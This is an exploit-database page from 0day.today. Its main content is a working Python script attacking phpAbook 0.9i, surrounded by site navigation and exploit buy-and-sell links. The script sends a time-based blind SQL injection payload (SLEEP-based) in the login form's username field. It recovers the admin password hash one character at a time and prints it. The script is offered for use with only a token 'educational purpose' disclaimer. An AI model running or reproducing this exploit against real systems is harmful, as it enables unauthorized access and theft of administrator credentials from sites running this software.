0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
phpAbook 0.9i - SQL Injection Vulnerability
# Exploit Title: phpAbook 0.9i - SQL Injection # Vendor Homepage: http://sourceforge.net/projects/phpabook/ # Exploit Author: Said Cortes, Alejandro Perez # Version: v0.9i # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. import requests import argparse import string import sys def exploit(session,host): print("Starting Exploit\nSearching Admin Hash...") passwordhash = '' for i in range(1,33): charset = string.digits + string.ascii_lowercase for letter in charset: burp0_url = f"{host}/index.php" burp0_data = {"auth_user": f"admin'-IF((SELECT MID(password,{i},1) from ab_auth_user where uid=1)='{letter}',SLEEP(3),0)#", "auth_passwd": "admin", "lang": "en", "submit": "Login"} try: session.post(burp0_url, data=burp0_data, timeout=1) except requests.Timeout: passwordhash += letter continue print("admin:"+passwordhash) if __name__ == "__main__" : session = requests.session() parser = argparse.ArgumentParser() parser.add_argument("-u","--url",help="host url \nex: http://127.0.0.1/phpabook",required=True) arg = parser.parse_args() exploit(session,arg.url) # 0day.today [2024-06-24] #